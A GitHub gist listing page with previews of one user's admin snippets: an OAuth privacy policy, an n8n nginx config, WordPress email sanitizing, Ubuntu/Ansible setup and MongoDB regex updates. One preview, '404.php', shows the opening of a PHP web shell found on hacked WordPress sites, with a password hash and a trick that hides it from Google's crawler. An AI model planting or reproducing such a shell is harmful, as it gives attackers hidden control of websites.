Skip to content

Instantly share code, notes, and snippets.

@zohar
zohar / gist:a05cd712411d882a6823269ff95239c2
Created July 14, 2025 11:34
Google console privacy policy
# Privacy Policy
**Effective Date:** July 13, 2025
This application uses Google OAuth to authenticate users and access limited profile information, such as your name, email address, and profile picture. This data is used solely to provide you access to the app's features and personalize your experience.
## Information We Collect
When you log in with Google, we may collect the following information:
- Your full name
@zohar
zohar / n8n.example.com
Last active June 28, 2025 14:43
nginx config for N8N proxy
# Configuration for n8n
# Make sure to adjust: server_name, SSL certificate paths, and proxy_pass settings
##############################################################################
# HTTP Server Block - Redirects all HTTP traffic to HTTPS
##############################################################################
server {
# Listen directives
listen 80; # IPv4
listen [::]:80; # IPv6
@zohar
zohar / sanitize-wordpress.sh
Last active November 6, 2019 10:16
Sanitize mails in Wordpress - user_email column on wp_users table - using wp-cli
wp search-replace '^([^@]*)@(.*)$' '\1@localhost' wp_users --include-columns=user_email --regex --regex-flags='i'
@zohar
zohar / ubuntu-install-procedure
Last active October 9, 2017 12:28
Apt-get install - required packages for Drupal on Ubuntu (OpenideaL)
apt-get -y update && apt-get -y upgrade
locale-gen UTF-8
# vim /etc/default/locale, add LC_ALL="en_US.UTF-8"
apt-add-repository ppa:ansible/ansible
apt-get update
# General packages
apt-get install -y git zip software-properties-common ansible
##############
@zohar
zohar / modify-php.ini.sh
Created August 17, 2017 12:56
Modify a php.ini file and reload the webserver
ansible masked-servers -m ini_file -a "dest=/etc/php5/fpm/php.ini section=PHP option=max_input_vars value=2000" -b -u ubuntu
ansible masked-servers -m service -a "name=nginx state=reloaded" -b -u ubuntu
@zohar
zohar / 404.php
Last active April 8, 2016 14:58
404.php - used by hackers to retrieve information from Wordpress websites
<?php
$auth_pass = "a87154cadb595987488efc87a398ecf1";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@zohar
zohar / gist:426b60e1d73709bc3c94
Created February 26, 2015 09:20
Find and replace an element in an array in a sub document
// after.2.value - becaus ewe know exactly what to look for
db.test.update({after:{$elemMatch:{"type":"password"}}},{$set:{"after.2.value":'xxxxx'}},{multi:true, upsert:false});
@zohar
zohar / gist:a047e265e336b329f811
Created February 24, 2015 21:38
MongoDB: Find by regular expression and run regex replace on results
/*
MongoDB: Find by regular expression and run regex replace on results
*/
db.test.find({"url": { $regex: 'http:\/\/' }}).forEach(function(doc) {
doc.url = doc.url.replace(/http:\/\/www\.url\.com/g, 'http://another.url.com');
db.test.save(doc);
});
@zohar
zohar / gist:b873e6abd10b0d88937f
Created February 24, 2015 21:29
use regex to update multiple lines in mongo
/*
use regex to update multiple lines in mongo
*/
db.users.update({"email":{$regex:'.*@example.com$'}},{ $set: {"roles" : [ "authenticated", "admin" ] }}, {multi: true, upsert:false})